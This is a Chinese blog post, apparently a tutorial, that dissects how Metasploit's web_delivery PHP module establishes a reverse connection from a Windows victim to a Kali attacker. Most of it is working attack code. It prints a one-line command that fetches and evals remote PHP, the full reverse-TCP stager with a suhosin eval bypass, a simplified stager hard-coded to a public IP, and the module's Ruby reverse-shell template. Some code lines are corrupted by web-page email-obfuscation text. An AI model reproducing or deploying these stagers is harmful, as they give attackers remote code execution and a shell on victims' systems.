分析Metasploit中的web_delivery模块php是如何建立通信的

攻击机:Linux Kali
受害机:Windows 10

即刻安全

即刻安全纯技术交流群:307283889

如需转载,请联系本博主声明,私自转载必追究

Prat 1

继上一次python模块的分析后,发现python用的次数远远不如php用的多(个人在实战中)

于是我又有了一个大胆的想法

Prat 2

大胆的想法

他的payload执行了什么?
他的payload是怎么来的?

首先配置一下web_delivery模块,得到一个payload
image
他会得到一个payload

1
php -d allow_url_fopen=true -r "eval(file_get_contents('http://127.0.0.1:8080/lUGRfNG9SqF7N'));"

访问这个http://127.0.0.1:8080/lUGRfNG9SqF7N
发现他会下载一个文件,打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*<?php /**/ 
error_reporting(0);
$ip = '127.0.0.1';
$port = 4444;
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream';
} if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port); $s_type = 'stream';
} if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) {
die();
} $s_type = 'socket';
}
if (!$s_type) {
die('no socket funcs');
} if (!$s) {
die('no socket');
} switch ($s_type) {
case 'stream':
$len = fread($s, 4);
break;
case 'socket':
$len = socket_read($s, 4);
break;
} if (!$len) {
die();
}
$a = unpack("Nlen", $len);
$len = $a['len']; $b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream':
$b .= fread($s, $len-strlen($b));
break;
case 'socket':
$b .= socket_read($s, $len-strlen($b));
break;
}
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
} else {
eval($b);
}
die();

这里我们要知道几个函数

file_get_contents() 把整个文件读入一个字符串中。
error_reporting() 这里为关闭错误报告
die() 输出一条消息,并退出当前脚本
is_callable检测参数是否为合法的可调用结构

其实我们看到stream_socket_client就知道,这也是通过socket通信的

直连测试

得到代码也就差不多得到原理,那我们简化一下代码

1
2
3
4
5
6
7
8
9
10
<?php
$fp = stream_socket_client("tcp://127.0.0.1:7777");
if (!$fp) {
echo "On";
} else {
fwrite($fp, "\n");
echo fread($fp, 26);
fclose($fp);
}
?>

首先我们建立一个监听
image
然后保存一下代码访问得到msf返回信息
image
但是发现他并没有建立session
image
使用handler监听也是一样的结果,找了各种资料没找出啥结果,于是决定从原来的代码上做简化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (($f = 'stream_socket_client') && is_callable($f)) { 
$s = $f("tcp://104.199.188.224:7777");
$s_type = 'stream';
} if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
} if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
}
$len = fread($s, 4);
$a = unpack("Nlen", $len);
$len = $a['len']; $b = '';
while (strlen($b) < $len) {
$b .= fread($s, $len-strlen($b));
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;

if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
} else {
eval($b);
}

使用handler再次建立一个监听
image
image
成功获得了一个会话,那么是可行的。

payload的由来

当然,我们需要理解他是如何得到这个payload的。
/usr/share/metasploit-framework/modules/payloads/singles/php目录中可以看见他的模块
因为我们用的是tcp,所以我们看一下reverse_tcp这个模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
def php_reverse_shell
if (!datastore['LHOST'] or datastore['LHOST'].empty?)
# datastore is empty on msfconsole startup
ipaddr = '127.0.0.1'
port = 4444
else
ipaddr = datastore['LHOST']
port = datastore['LPORT']
end
exec_funcname = Rex::Text.rand_text_alpha(rand(10)+5)
uri = "tcp://#{ipaddr}"
socket_family = "AF_INET"
if Rex::Socket.is_ipv6?(ipaddr)
uri = "tcp://[#{ipaddr}]"
socket_family = "AF_INET6"
end
shell=<<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: "$dis")}
$ipaddr='#{ipaddr}';
$port=#{port};
if(!function_exists('#{exec_funcname}')){
function #{exec_funcname}($c){
global $dis;
#{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")}
return $o;
}
}
$nofuncs='no exec functions';
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
[email protected]("#{uri}",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=#{exec_funcname}(substr($c,0,-1));
if($out===false){
fwrite($s,$nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);
}else{
[email protected]_create(#{socket_family},SOCK_STREAM,SOL_TCP);
@socket_connect($s,$ipaddr,$port);
@socket_write($s,"socket_create");
while([email protected]_read($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=#{exec_funcname}(substr($c,0,-1));
if($out===false){
@socket_write($s,$nofuncs);
break;
}
}
@socket_write($s,$out,strlen($out));
}
@socket_close($s);
}
END_OF_PHP_CODE
# randomize the spaces a bit
Rex::Text.randomize_space(shell)
return shell
end

根据之前的代码是不是就能理解了

总结:

额。。。没有总结。

本文算是科普不喜勿喷~~~(还没做扩展性操作)。总感觉有错很多地方,求指正